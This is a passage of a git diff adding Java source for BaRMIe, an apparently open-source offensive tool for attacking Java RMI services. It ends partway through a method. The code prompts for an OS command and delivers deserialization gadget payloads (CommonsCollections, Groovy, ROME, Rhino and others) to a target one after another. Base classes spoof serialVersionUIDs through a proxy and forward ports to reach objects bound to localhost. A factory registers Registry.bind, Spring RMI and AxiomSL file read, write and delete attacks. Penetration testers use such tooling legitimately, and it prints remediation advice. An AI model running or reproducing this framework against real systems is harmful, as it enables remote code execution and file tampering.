+ * Attempt a deserialization attack against the target using a list of + * payloads that are delivered one at a time. + * + * Often a target won't reveal available libraries over RMI so it may not + * be possible to externally identify whether the require library for a + * deserialization payload is present. This method loops through multiple + * payloads to aid in exploiting these scenarios. + * + * @param target Details of the target that was selected for attack. + * @param attack The deserialization attack to execute. + * @param payloads The list of payloads to attempt the attack with. + ******************/ + private void attemptAllDeserPayloads(RMITargetData target, RMIAttack attack, ArrayList payloads) { + String input = ""; + String cmd = ""; + int ctr = 0; + + //Ask the user for a command to execute + System.out.print("Enter an OS command to execute: "); + try { cmd = this._in.readLine(); } catch(IOException e) {} + + //Attempt each payload one at a time + System.out.println("\nTrying all deserialization payloads."); + for(DeserPayload p: payloads) { + //Attempt this attack/payload combination + System.out.println("[~] Trying: " + p.getName()); + try { + ((RMIDeserAttack)attack).executeAttack(target.getEndpoint(), p, cmd); + } catch(BaRMIeException bex) { + System.out.println("[-] An exception occurred whilst attacking the target."); + System.out.println(" " + bex); + } finally { + //Clean up after the attack + attack.cleanUp(); + + //Remediation advice + System.out.println("\nRemediation advice (if attack was successful):"); + System.out.println(" " + attack.getRemediationAdvice()); + System.out.println(" " + p.getRemediationAdvice() + "\n"); + } + + //Check whether we should continue launching payloads + if(input.equalsIgnoreCase("a") == false && ++ctr < payloads.size()) { + //Loop until a valid choice is entered + input = " "; + while(input.equals("") == false && input.equalsIgnoreCase("y") == false && input.equalsIgnoreCase("n") == false && input.equalsIgnoreCase("a") == false) { + System.out.print("[+] Payload delivered, continue trying payloads? [Y]es, [N]o, [A]ll (Y): "); + try { input = this._in.readLine(); } catch(IOException ioe) { System.out.println("[-] An IOException occurred whilst attempting to read user input."); } + } + + //If no was selected then return + if(input.equalsIgnoreCase("n")) { + return; + } + } + System.out.println(""); + } + } +} diff --git a/src/nb/barmie/modes/attack/DeserPayload.java b/src/nb/barmie/modes/attack/DeserPayload.java new file mode 100644 index 0000000..84b42cc --- /dev/null +++ b/src/nb/barmie/modes/attack/DeserPayload.java @@ -0,0 +1,279 @@ +package nb.barmie.modes.attack; + +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * DeserPayload base class. + * + * All deserialization payloads must extend this class and implement the + * following method: + * getBytes(String cmd, int handleCorrection): Generate and return the payload bytes to execute a given command. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public abstract class DeserPayload { + /******************* + * Constants + ******************/ + protected final String REMEDIATION_NO_FIX = "No fix currently available. Consider removing the library from the CLASSPATH of the RMI service."; + + /******************* + * Properties + ******************/ + private String _name; //A short name for the payload + private String[] _affectedJars; //An array of JAR filenames that are affected by this deserialization payload + private String _description; //A brief one-liner description of the payload + private String _remediationAdvice; //Remediation advice + + /******************* + * Default constructor, defaults all properties + ******************/ + public DeserPayload() { + this._name = ""; + this._affectedJars = null; + this._description = ""; + this._remediationAdvice = ""; + } + + /******************* + * Check if this payload affects the given RMI endpoint. + * + * Note that this won't always return true when the endpoint is affected. + * The detection relies on the exposed objects being annotated with the + * Java CLASSPATH. If this information isn't available the endpoint may + * still be vulnerable. + * + * @param ep An enumerated endpoint + * @return True if this deserialization payload affects the endpoint. + ******************/ + public final boolean doesAffectEndpoint(RMIEndpoint ep) { + for(String jar: this._affectedJars) { + if(ep.hasJar(jar)) { + return true; + } + } + return false; + } + + /******************* + * Generate the payload bytes to execute the given command line. + * + * When a payload is injected into a remote method invocation packet, the + * packet may have other objects (or method parameters) prior to the + * payload injection point. Any such elements in the serialized data for + * the method call will result in the handle value for TC_REFERENCE + * elements being incremented. As a result, any TC_REFERENCE elements + * within the payload itself may have incorrect handle values (i.e. the + * first handle in the payload data should be 0x007e0000, if there's a + * handle already in the packet then that will also have the handle value + * 0x007e0000 and a reference within the payload to 0x007e0000 will point + * at the wrong content element, so to correct this we need to add 1 to + * all TC_REFERENCE elements in the payload bytes). + * + * @param cmd The operating system command to execute. + * @param refCorrection The amount to correct TC_REFERENCE handles by (see note above). + * @return An array of bytes making up the deserialization payload. + ******************/ + public abstract byte[] getBytes(String cmd, int refCorrection) throws BaRMIeException; + + /******************* + * Get the payload name. + * + * @return The name of the payload. + ******************/ + public final String getName() { + return this._name; + } + + /******************* + * Set the payload name. + * + * @param name The name of the payload. + ******************/ + protected final void setName(String name) { + this._name = name; + } + + /******************* + * Get the array of jar files affected by this deserialization payload. + * + * @return An array of strings which are jar file names affected by this payload. + ******************/ + public final String[] getAffectedJars() { + return this._affectedJars; + } + + /******************* + * Set the array of jar files that are affected by this deserialization payload. + * + * @param affectedJars An array of strings which are the jar files affected by this payload. + ******************/ + protected final void setAffectedJars(String[] affectedJars) { + this._affectedJars = affectedJars; + } + + /******************* + * Get a brief description of this payload. + * + * @return A brief description of this payload. + ******************/ + public final String getDescription() { + return this._description; + } + + /******************* + * Set a brief description for the payload. + * + * @param description A brief description of the payload. + ******************/ + protected final void setDescription(String description) { + this._description = description; + } + + /******************* + * Get remediation advice for this payload. + * + * @return Remediation advice that may help in defending against this payload. + ******************/ + public final String getRemediationAdvice() { + return this._remediationAdvice; + } + + /******************* + * Set remediation advice for the payload. + * + * @param remediationAdvice Remediation advice that may help to defend against this payload. + ******************/ + protected final void setRemediationAdvice(String remediationAdvice) { + this._remediationAdvice = remediationAdvice; + } + + /******************* + * Helper method to convert a string of hex-ascii-encoded bytes into a + * corresponding array of bytes. + * + * @param hexStr A string of hex-encoded bytes. + * @return The resulting byte array. + ******************/ + protected final byte[] hexStrToByteArray(String hexStr) { + byte[] data; + + //Create the byte array + data = new byte[hexStr.length() / 2]; + + //Convert the hex string to bytes + for(int i = 0; i < hexStr.length(); i += 2) { + data[i / 2] = (byte)((Character.digit(hexStr.charAt(i), 16) << 4) + Character.digit(hexStr.charAt(i + 1), 16)); + } + + //Return the resulting byte array + return data; + } + + /******************* + * Helper method to convert a string to a Utf8 byte array (2-byte length + * followed by string bytes). + * + * @param val The string to convert to a byte array. + * @return The resulting byte array. + ******************/ + protected final byte[] stringToUtf8ByteArray(String val) { + byte[] outBytes = new byte[val.length() + 2]; + byte[] strBytes = val.getBytes(); + + //Build the output byte array + outBytes[0] = (byte)((strBytes.length >> 8) & 0xff); + outBytes[1] = (byte)(strBytes.length & 0xff); + for(int i = 0; i < strBytes.length; ++i) { + outBytes[i + 2] = strBytes[i]; + } + + //Return the output bytes + return outBytes; + } + + /******************* + * Helper method to convert a short to a byte array. + * + * @param val The short to convert to a byte array. + * @return The resulting byte array. + ******************/ + protected final byte[] shortToByteArray(short val) { + return new byte[] { + (byte)((val >> 8) & 0xff), + (byte)( val & 0xff) + }; + } + + /******************* + * Helper method to convert an int to a byte array. + * + * @param val The int to convert to a byte array. + * @return The resulting byte array. + ******************/ + protected final byte[] intToByteArray(int val) { + return new byte[] { + (byte)((val >> 24) & 0xff), + (byte)((val >> 16) & 0xff), + (byte)((val >> 8) & 0xff), + (byte)( val & 0xff) + }; + } + + /******************* + * Helper method to correct the handle values of TC_REFERENCE elements in + * the given byte array by adding a given offset to each. + * + * The starting value for handles in a serialization stream is 0x7e 00 00. + * If a deserialization payload is injected into a serialization stream + * that already contains an object with a handle value then any referenced + * handles within that payload must be updated accordingly so that they + * still refer to handles within the payload, rather than handles within + * the stream in which the payload is injected. + * + * Note that this is a hacky method that identifies TC_REFERENCE elements + * by the byte sequence 0x71 00 7e and won't work if there are more than + * 65,535 handles in the stream, or if this byte sequence appears elsewhere + * in a payload byte stream. + * + * @param original The original payload stream bytes to correct. + * @param correction The value to add to each handle value within the payload. + * @return A new byte array containing the corrected TC_REFERENCE handle values. + ******************/ + protected final byte[] fixReferences(byte[] original, int correction) { + byte[] fixed = new byte[original.length]; + int refHandle; + + //Copy the given bytes but correct reference handle values as required + for(int i = 0; i < original.length; ++i) { + //Check if there are enough bytes left in the original to contain a TC_REFERENCE + if(i < (original.length - 5)) { + //Look for a TC_REFERENCE at this offset + if(original[i] == (byte)0x71 && original[i + 1] == (byte)0x00 && original[i + 2] == (byte)0x7e) { + //Get the low-word of the reference handle + refHandle = (original[i + 3] << 8) + ((original[i + 4]) & 0xff); + + //Correct it + refHandle = refHandle + correction; + + //Copy the reference to the fixed byte array and skip over the bytes in the original + fixed[i++] = (byte)0x71; + fixed[i++] = (byte)0x00; + fixed[i++] = (byte)0x7e; + fixed[i++] = (byte)((refHandle >> 8) & 0xff); + fixed[i] = (byte)(refHandle & 0xff); + } else { + //Copy the byte straight across + fixed[i] = original[i]; + } + } else { + //Copy the byte straight across + fixed[i] = original[i]; + } + } + + //Return the fixed payload bytes + return fixed; + } +} diff --git a/src/nb/barmie/modes/attack/DeserPayloadFactory.java b/src/nb/barmie/modes/attack/DeserPayloadFactory.java new file mode 100644 index 0000000..e86d6f6 --- /dev/null +++ b/src/nb/barmie/modes/attack/DeserPayloadFactory.java @@ -0,0 +1,77 @@ +package nb.barmie.modes.attack; + +import java.util.ArrayList; +import nb.barmie.modes.enumeration.RMIEndpoint; + +/*********************************************************** + * Deserialization payload factory class. + * + * Essentially maintains a list of all supported Java + * deserialization payloads and the classes/objects + * implementing them. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class DeserPayloadFactory { + /******************* + * Properties + ******************/ + private static final ArrayList _payloads; //All deserialization payloads + + /******************* + * Initialise the list of supported deserialization payloads + ******************/ + static { + //Create the list of deserialization payloads + _payloads = new ArrayList(); + + //Add all supported payloads to the list + _payloads.add(new nb.barmie.modes.attack.deser.payloads.CommonsCollectionsPayload1()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.CommonsCollectionsPayload2()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.GroovyPayload1()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.GroovyPayload2()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.JBossInterceptorsPayload1()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.ROMEPayload1()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.ROMEPayload2()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload1()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload2()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload3()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload4()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload5()); + _payloads.add(new nb.barmie.modes.attack.deser.payloads.RhinoPayload6()); + } + + /******************* + * Find all deserialization payloads that affect the given RMI endpoint. + * + * This won't always work as it depends on remote classes being annotated + * with CLASSPATH jar files. If these annotations aren't present, as is + * often the case, then all payloads can be attempted (or attack/target + * specific payloads can be used). + * + * @param ep The enumerated RMI endpoint. + * @return An ArrayList of DeserPayload objects that should affect the given endpoint. + ******************/ + public static ArrayList findGadgetsForEndpoint(RMIEndpoint ep) { + ArrayList payloads = new ArrayList(); + + //Find all deserialization payloads that can target the given endpoint + for(DeserPayload p: _payloads) { + if(p.doesAffectEndpoint(ep)) { + payloads.add(p); + } + } + + //Return the list of deserialization payloads that affect the given endpoint + return payloads; + } + + /******************* + * Get a list of all known deserialization payloads. + * + * @return An ArrayList of DeserPayload objects. + ******************/ + public static ArrayList getAllPayloads() { + return _payloads; + } +} diff --git a/src/nb/barmie/modes/attack/RMIAttack.java b/src/nb/barmie/modes/attack/RMIAttack.java new file mode 100644 index 0000000..de2058b --- /dev/null +++ b/src/nb/barmie/modes/attack/RMIAttack.java @@ -0,0 +1,593 @@ +package nb.barmie.modes.attack; + +import java.io.BufferedReader; +import java.io.File; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.InputStreamReader; +import java.io.InvalidClassException; +import java.net.InetAddress; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.NotBoundException; +import java.rmi.RemoteException; +import java.rmi.UnmarshalException; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.security.SecureRandom; +import java.util.ArrayList; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.exceptions.BaRMIeGetObjectException; +import nb.barmie.exceptions.BaRMIeInputException; +import nb.barmie.exceptions.BaRMIeWriteFileException; +import nb.barmie.modes.enumeration.RMIEndpoint; +import nb.barmie.modes.enumeration.RMIObject; +import nb.barmie.net.proxy.PortForwarder; +import nb.barmie.net.proxy.ProxyServer; +import nb.barmie.net.proxy.RMIObjectUIDFixingProxy; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * RMIAttack base class. + * + * All RMI attacks must extend this class and implement the following methods: + * canAttackEndpoint(RMIEndpoint): Return true if the attack can be used against the given RMI endpoint. + * executeAttack(RMIEndpoint): Execute the attack. + * + * Ideally RMI attacks should also call the various setters to configure + * properties including a brief (one-liner, what does it achieve) and detailed + * description of the attack (more detailed e.g. to report to system owner). + * + * Helper methods are provided to perform common tasks whilst executing an RMI + * attack, such as reading input from STDIN (e.g. to get attack parameters), + * or requesting an object from an RMI registry. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public abstract class RMIAttack implements Comparable { + /******************* + * Constants + ******************/ + protected final String REMEDIATION_NO_FIX = "No fix currently available. Consider implementing network-layer access controls for this service."; + + /******************* + * Properties + ******************/ + private boolean _isAppSpecific; //True if the attack applies to specific RMI applications (as opposed to being generic as in the Registry.bind() attack) + private boolean _isDeserAttack; //True if the attack targets deserialization + private boolean _nonDefaultDependency; //True if a non-default dependency is required (e.g. deser) + private String _description; //A brief description of the attack. + private String _detail; //Detailed description + private String _remediation; //Remediation advice + protected ProgramOptions _options; //Program options object (i.e. for socket timeout value) + protected ArrayList _proxies; //Proxy servers used by the attack, these are shut down by the cleanUp method after an attack has been executed + + /******************* + * Default constructor, sets all properties to reasonable defaults. + ******************/ + public RMIAttack() { + this._isAppSpecific = true; + this._isDeserAttack = false; + this._nonDefaultDependency = false; + this._description = ""; + this._detail = ""; + this._remediation = ""; + this._options = null; + this._proxies = new ArrayList(); + } + + /******************* + * Check whether this attack can be used against the given RMI endpoint. + * + * @param ep The enumerated RMI endpoint. + * @return True if the attack can be used against the given endpoint. + ******************/ + public abstract boolean canAttackEndpoint(RMIEndpoint ep); + + /******************* + * Execute the attack against the given RMI endpoint. + * + * It is the responsibility of the subclass to prompt the user for any + * attack-specific parameters. + * + * @param ep The enumerated RMI endpoint. + ******************/ + public abstract void executeAttack(RMIEndpoint ep) throws BaRMIeException; + + /******************* + * Custom clean up method which can be overridden by sub classes in order + * to perform custom post-attack clean up. + ******************/ + protected void doCustomCleanUp() { } + + /******************* + * Perform post-attack cleanup, for example shut down port forwarders etc. + * + * Sub classes can override doCustomCleanUp() to implement custom clean up. + ******************/ + public final void cleanUp() { + //Perform custom cleanup + this.doCustomCleanUp(); + + //Shutdown all proxies + for(ProxyServer p: this._proxies) { + p.stopProxy(true); + } + this._proxies.clear(); + } + + /******************* + * Compare method for sorting attacks - those with non-default dependencies + * are less interesting (less likely to be successful). + * + * Actual comparison rules/scoring: + * specific + non-deser + default 7 1 + 2 + 4 + * non-spec + non-deser + default 6 0 + 2 + 4 + * specific + deser + default 5 1 + 0 + 4 + * non-spec + deser + default 4 0 + 0 + 4 + * specific + non-deser + non-def 3 1 + 2 + 0 + * non-spec + non-deser + non-def 2 0 + 2 + 0 + * specific + deser + non-def 1 1 + 0 + 0 + * non-spec + deser + non-def 0 0 + 0 + 0 + * + * + * @param other The other RMIAttack object to compare to. + * @return An int indicating the sorting order. + ******************/ + public final int compareTo(RMIAttack other) { + int thisScore = 0; + int otherScore = 0; + + //Calculate scores + if(this._isAppSpecific == true) { thisScore += 1; } + if(this._isDeserAttack == false) { thisScore += 2; } + if(this._nonDefaultDependency == false) { thisScore += 4; } + if(other.isAppSpecific() == true) { otherScore += 1; } + if(other.isDeserAttack() == false) { otherScore += 2; } + if(other.hasNonDefaultDependencies() == false) { otherScore += 4; } + + //Return the difference + return otherScore - thisScore; + } + + /******************* + * Return a string based on the 'compareTo' method, which indicates the + * reliability of the attack. + * + * @return A string based on the compareTo method indicating the reliability of the attack. + ******************/ + public final String getReliabilityIndicator() { + return "[" + (this._isAppSpecific == true ? "+" : "-") + (this._isDeserAttack == false ? "+" : "-") + (this._nonDefaultDependency == false ? "+" : "-") + "]"; + } + + /******************* + * Check whether the attack is specific to an RMI application. + * + * Most will be, this is more to support the Registry.bind() exploit which + * is generic and applies to the RMI registry rather than the underlying + * application. + * + * @return True if the attack is application specific. + ******************/ + public final boolean isAppSpecific() { + return this._isAppSpecific; + } + + /******************* + * Set the application-specific property of the RMIAttack. + * + * @param appSpecific True if the attack is application specific, false if it's more generic (such as Registry.bind()). + ******************/ + protected final void setAppSpecific(boolean appSpecific) { + this._isAppSpecific = appSpecific; + } + + /******************* + * Check whether the attack targets Java deserialization. + * + * Some attacks target insecure use of RMI (e.g. exposed sensitive methods) + * whereas others will target Java deserialization and may rely on the + * presence of third-party libraries. This method differentiates between + * these types of attacks. + * + * @return True if the attack targets Java deserialization. + ******************/ + public final boolean isDeserAttack() { + return this._isDeserAttack; + } + + /******************* + * Set the is-deser-attack property of the RMIAttack. + * + * @param isDeserAttack True if the attack targets Java deserialization. + ******************/ + protected final void setIsDeserAttack(boolean isDeserAttack) { + this._isDeserAttack = isDeserAttack; + } + + /******************* + * Check whether a non-default dependency is required for this attack. + * + * For example attacks that target Java deserialization generally depend on + * the presence of a third-party library which may not be present in the + * case of an application framework or application server. In other cases + * the target application itself might have suitable POP gadget chains so + * a deserialization attack is possible without a non-default dependency. + * + * @return True if the attack relies on a dependency that may not be present. + ******************/ + public final boolean hasNonDefaultDependencies() { + return this._nonDefaultDependency; + } + + /******************* + * Set the flag indicating that non-default dependencies are required by + * this attack. + * + * @param nonDefaultDependency True if the attack requires dependencies that may not be present. + ******************/ + protected final void setRequiresNonDefaultDependency(boolean nonDefaultDependency) { + this._nonDefaultDependency = nonDefaultDependency; + } + + /******************* + * Get a brief description of this attack. + * + * @return A brief description of the attack. + ******************/ + public final String getDescription() { + return this._description; + } + + /******************* + * Set a brief description for the RMIAttack. + * + * @param description A brief description of the attack. + ******************/ + protected final void setDescription(String description) { + this._description = description; + } + + /******************* + * Get a detailed description of this attack. + * + * @return A detailed description of the attack. + ******************/ + public final String getDetailedDescription() { + return this._detail; + } + + /******************* + * Set a detailed description for the RMIAttack. + * + * @param detail A detailed description of the attack. + ******************/ + protected final void setDetailedDescription(String detail) { + this._detail = detail; + } + + /******************* + * Get remediation advice for preventing this attack. + * + * @return A string containing remediation advice to prevent the attack. + ******************/ + public final String getRemediationAdvice() { + return this._remediation; + } + + /******************* + * Set the remediation advice for this RMIAttack. + * + * @param remediation Remediation advice to prevent the attack. + ******************/ + protected final void setRemediationAdvice(String remediation) { + this._remediation = remediation; + } + + /******************* + * Set the program options field so this attack has access to things like + * socket timeout values. + * + * @param options The current ProgramOptions object. + ******************/ + public final void setProgramOptions(ProgramOptions options) { + this._options = options; + } + + /******************* + * Helper method to prompt the user for input (such as commands to execute + * as part of an attack). + * + * @param prompt A prompt asking the user for appropriate input. + * @param allowEmpty True if an empty response should be allowed. If false then the prompt will repeat until the user provides input. + * @return The user's input. + * @throws BaRMIeInputException If an IOException occurs whilst reading input from STDIN. + ******************/ + protected final String promptUserForInput(String prompt, boolean allowEmpty) throws BaRMIeInputException { + BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); + String input = ""; + + //Enter input loop until we have an acceptable input from the user + while(input.equals("") == true) { + //Prompt the user + System.out.print(prompt); + + //Attempt to read a line of input + try { + input = br.readLine(); + } catch(IOException ioe) { + throw new BaRMIeInputException(ioe); + } + + //Break out of the loop if empty input is allowed + if(allowEmpty == true) { + break; + } + } + + //Return the user input + return input; + } + + /******************* + * Helper method to prompt the user for input (such as commands to execute + * as part of an attack), with a default response if the user does not + * provide any input. + * + * @param prompt A prompt asking the user for appropriate input. + * @param defaultResponse The default response if the user's input is blank. + * @return The user's input or the default response. + * @throws BaRMIeInputException If an IOException occurs whilst reading input from STDIN. + ******************/ + protected final String promptUserForInputWithDefault(String prompt, String defaultResponse) throws BaRMIeInputException { + String input; + + //Prompt the user for input and allow empty inputs + input = this.promptUserForInput(prompt, true); + + //Return the user's input, or the default response if the user didn't provide any input + return (input.equals("") ? defaultResponse : input); + } + + /******************* + * Helper method to retrieve a remote object reference from the given RMI + * endpoint. + * + * If the object being retrieved was bound to localhost or 127.0.0.1 and + * the RMI registry is not on localhost then this method will automatically + * check whether the object's port can be reached on the registry host. If + * it can, then a port forwarder is started to forward traffic on the local + * port to the RMI registry host. This enables objects to be attacked + * remotely when the were only bound to local host. + * + * If a remote serialVersionUID does not match the relevant local + * serailVersionUID then this method delegates to the method + * getRemoteObjectWithUIDHack(), which proxies the RMI registry connection + * in order to modify returned serialVersionUID fields to match those of + * local classes. This is a hack which won't work in all cases but this + * enables BaRMIe to support multiple versions of target applications. This + * is because different versions of the class may have different values for + * the serialVersionUID field, however the actual interface and the way we + * interact with that class/object does not change. Modifying the returned + * serialVersionUID effectively "tricks" the local JVM into believing that + * the two classes are the same, allowing the remote method invocation to + * be performed. + * + * @param ep An enumerated RMI endpoint. + * @param objectName The name of the object to look up. + * @return The remote object reference. + * @throws BaRMIeGetObjectException If there was a problem retrieving the requested object. + ******************/ + protected Object getRemoteObject(RMIEndpoint ep, String objectName) throws BaRMIeGetObjectException { + Registry reg; + Object obj; + + //Start port forwarding if necessary + this.startPortForwarding(ep, objectName); + + //Get a reference to the target RMI registry + try { + reg = LocateRegistry.getRegistry(ep.getEndpoint().getHost(), ep.getEndpoint().getPort()); + } catch(RemoteException rex) { + throw new BaRMIeGetObjectException("Failed to create a reference to the target RMI registry.", rex); + } + + //Get the requested object + try { + obj = reg.lookup(objectName); + } catch(UnmarshalException ue) { + //An Unmarshal exception might occur if the local class has a different serialVersionUID to the remote one, use a hack to modify the serialVersionUID if this is the case... + if(ue.getCause() instanceof InvalidClassException && ue.getCause().toString().contains("local class incompatible: stream classdesc serialVersionUID = ")) { + //Attempt to get the object again, this time using a hack to fix the serialVersionUID field + obj = this.getRemoteObjectWithUIDHack(ep, objectName); + } else { + //Unknown exception + throw new BaRMIeGetObjectException("Failed to lookup the object '" + objectName + "'.", ue); + } + } catch(NotBoundException nbe) { + throw new BaRMIeGetObjectException("The object '" + objectName + "' is not bound to the target RMI registry.", nbe); + } catch(RemoteException rex) { + throw new BaRMIeGetObjectException("Failed to lookup the object '" + objectName + "'.", rex); + } + + //Return the requested object + return obj; + } + + /******************* + * Hack to retrieve an RMI object where the remote serialVersionUID does + * not match the serialVersionUID of the local class. + * + * Here we request the remote object through a proxy. When the object data + * comes back over the proxy, we update serialVersionUID fields at the + * network level so that they match those of the local classes. + * + * This hack makes BaRMIe attacks compatible with multiple versions of + * target applications without having to recompile the code with the + * required serialVersionUID. + * + * @param ep An enumerated RMI endpoint. + * @param objectName The name of the object to look up. + * @return The remote object reference. + * @throws BaRMIeGetObjectException If there was a problem retrieving the requested object. + ******************/ + private Object getRemoteObjectWithUIDHack(RMIEndpoint ep, String objectName) throws BaRMIeGetObjectException { + RMIObjectUIDFixingProxy proxy = null; + Registry reg; + Object obj; + + try { + //Start a UID fixing proxy + proxy = new RMIObjectUIDFixingProxy(InetAddress.getByName(ep.getEndpoint().getHost()), ep.getEndpoint().getPort(), this._options); + proxy.startProxy(); + + //Get an RMI registry reference which points at our UID fixing proxy + reg = LocateRegistry.getRegistry(proxy.getServerListenAddress().getHostAddress(), proxy.getServerListenPort()); + + //Request the remote object through the proxy and return it + obj = reg.lookup(objectName); + return obj; + } catch(Exception ex) { + throw new BaRMIeGetObjectException("Failed to lookup a remote object via RMIObjectUIDFixingProxy.", ex); + } finally { + //Stop proxy + if(proxy != null) { + proxy.stopProxy(true); + } + } + } + + /******************* + * Start port forwarding for a remote object if necessary. + * + * If the RMI registry is NOT listening on local host, and the given remote + * object IS listening on local host, then this method checks whether a + * connection can be established to the object on the RMI registry host and + * if so a port forwarder is started on the same local port. + * + * @param ep An enumerated RMI endpoint. + * @param objectName The name of the object to look up. + ******************/ + protected void startPortForwarding(RMIEndpoint ep, String objectName) throws BaRMIeGetObjectException { + PortForwarder forwarder; + + //If the target RMI registry is not on local host, but the target object is, then set up port forwarding + if(ep.getEndpoint().getHost().startsWith("127.") == false && ep.getEndpoint().getHost().equalsIgnoreCase("localhost") == false) { + //Find the target object and check if it's bound to local host + for(RMIObject rmiObj: ep.getExposedObjects()) { + if(rmiObj.getObjectEndpoint().getHost().startsWith("127.") || rmiObj.getObjectEndpoint().getHost().equalsIgnoreCase("localhost")) { + //Remote object is bound to local host, can we reach the target port on the registry host? + System.out.println("[~] Remote object is bound to local host, testing external connectivity..."); + if(this.testConnection(ep.getEndpoint().getHost(), rmiObj.getObjectEndpoint().getPort()) == true) { + try { + //We can connect to the target, attempt to start a port forwarding proxy + forwarder = new PortForwarder(InetAddress.getByName(ep.getEndpoint().getHost()), rmiObj.getObjectEndpoint().getPort(), this._options); + forwarder.startProxy(); + + //Add the proxy to a list for cleanup after the attack has completed + this._proxies.add(forwarder); + + //Print port forwarding status + System.out.println("[+] Object appears to be exposed remotely, a port forwarder has been started."); + System.out.println("[+] Local TCP port " + rmiObj.getObjectEndpoint().getPort() + " is being forwarded to " + ep.getEndpoint().getHost() + ":" + rmiObj.getObjectEndpoint().getPort()); + } catch(Exception ex) { + throw new BaRMIeGetObjectException("Failed to start a port forwarder for the remote object.", ex); + } + } else { + //Unable to connect to the object port on the non-local registry host, print a warning + System.out.println("[~] Warning: connection to " + ep.getEndpoint().getHost() + ":" + rmiObj.getObjectEndpoint().getPort() + " failed, object lookup may fail"); + } + } + } + } + } + + /******************* + * Test whether a TCP connection can be established to the given host and + * port. + * + * Used, for example, when a remote object is bound to local host. The + * object may still be exposed externally, however, port forwarding will + * need to be used in order to access the remote object. + * + * @param host The host to connect to. + * @param port The port to connect to. + * @return True if the connection succeeded, false otherwise. + ******************/ + protected boolean testConnection(String host, int port) { + Socket sock = null; + + //Attempt to connect to the target + try { + sock = new Socket(); + sock.connect(new InetSocketAddress(host, port), this._options.getSocketTimeout()); + } catch(Exception ex) { + //An exception occurred, failed to connect + return false; + } finally { + //Make sure the connection is closed + if(sock != null) { + try { sock.close(); } catch(Exception ex) { } + } + } + + //Success + return true; + } + + /******************* + * Helper method to write a file, such as one retrieved from a vulnerable + * RMI service. + * + * @param filename The filename to write to. + * @param contents The file contents to write. + * @throws BaRMIeWriteFileException If an exception occurred whilst attempting to write the file. + ******************/ + protected void writeFile(String filename, byte[] contents) throws BaRMIeWriteFileException { + FileOutputStream file = null; + + //Attempt to write the file + try { + file = new FileOutputStream(filename); + file.write(contents); + } catch(IOException ioe) { + throw new BaRMIeWriteFileException("Failed to write the file '" + filename + "'.", ioe); + } finally { + if(file != null) { + try { file.close(); } catch(Exception e) {} + } + } + } + + /******************* + * Helper method to check if a file exists, for example to verify that a + * file was downloaded from a vulnerable RMI service. + * + * @param filename The filename to check for. + * @return True if the file exists + ******************/ + protected boolean fileExists(String filename) { + return new File(filename).exists(); + } + + /******************* + * Generate a random alphanumeric string which is 8-32 characters long. + * + * @return A random string. + ******************/ + protected String generateRandomString() { + SecureRandom sr = new SecureRandom(); + char[] chars = "1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray(); + String out = ""; + int len; + + //Build a random string + len = sr.nextInt(24) + 8; + for(int i = 0; i < len; ++i) { + out = out + chars[sr.nextInt(chars.length)]; + } + + //Return the string + return out; + } +} diff --git a/src/nb/barmie/modes/attack/RMIAttackFactory.java b/src/nb/barmie/modes/attack/RMIAttackFactory.java new file mode 100644 index 0000000..8c17628 --- /dev/null +++ b/src/nb/barmie/modes/attack/RMIAttackFactory.java @@ -0,0 +1,78 @@ +package nb.barmie.modes.attack; + +import java.util.ArrayList; +import nb.barmie.modes.enumeration.RMIEndpoint; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * RMI attack factory class. + * + * Essentially maintains a list of all supported RMI + * attacks and the classes which implement them. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIAttackFactory { + /******************* + * Properties + ******************/ + private static final ArrayList _attacks; //All RMI attack objects + + /******************* + * Initialise the list of supported RMI attacks + ******************/ + static { + //Create the list of RMI attacks + _attacks = new ArrayList(); + + //Add all known attacks to the list + _attacks.add(new nb.barmie.modes.attack.attacks.Java.IllegalRegistryBind()); //RMI Registry.bind() deserialization attack. + _attacks.add(new nb.barmie.modes.attack.attacks.SpringFramework.RmiInvocationHandlerDeser()); //Spring RMI Remoting invoke() deserialization attack + _attacks.add(new nb.barmie.modes.attack.attacks.SpringFramework.Spring2RmiInvocationHandlerDeser()); //Spring 2 RMI Remoting invoke() deserialization attack + _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.DeleteFile()); //AxiomSL delete file + _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.ListFiles()); //AxiomSL list files + _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.ReadFile()); //AxiomSL read file + _attacks.add(new nb.barmie.modes.attack.attacks.Axiom.WriteFile()); //AxiomSL write file + } + + /******************* + * Attacks may need access to things like socket timeout options so this + * method passes the current ProgramOptions object to each known attack. + * + * @param options The current ProgramOptions object. + ******************/ + public static void setProgramOptions(ProgramOptions options) { + for(RMIAttack att: _attacks) { + att.setProgramOptions(options); + } + } + + /******************* + * Clean up all attacks. + ******************/ + public static void cleanUp() { + for(RMIAttack att: _attacks) { + att.cleanUp(); + } + } + + /******************* + * Find all attacks that can target a given RMI endpoint. + * + * @param ep The enumerated RMI endpoint. + * @return An ArrayList of RMIAttack objects that can target the given endpoint. + ******************/ + public static ArrayList findAttacksForEndpoint(RMIEndpoint ep) { 